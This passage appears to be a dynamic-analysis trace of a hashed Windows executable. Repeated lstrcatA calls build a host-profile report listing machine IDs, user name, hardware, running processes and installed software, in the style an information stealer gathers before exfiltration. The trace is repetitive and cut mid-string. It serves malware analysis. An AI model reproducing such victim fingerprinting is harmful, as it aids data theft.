[3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater ["
[0054.955] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [", lpString2="2.8.171.11" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11"
[0054.955] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- 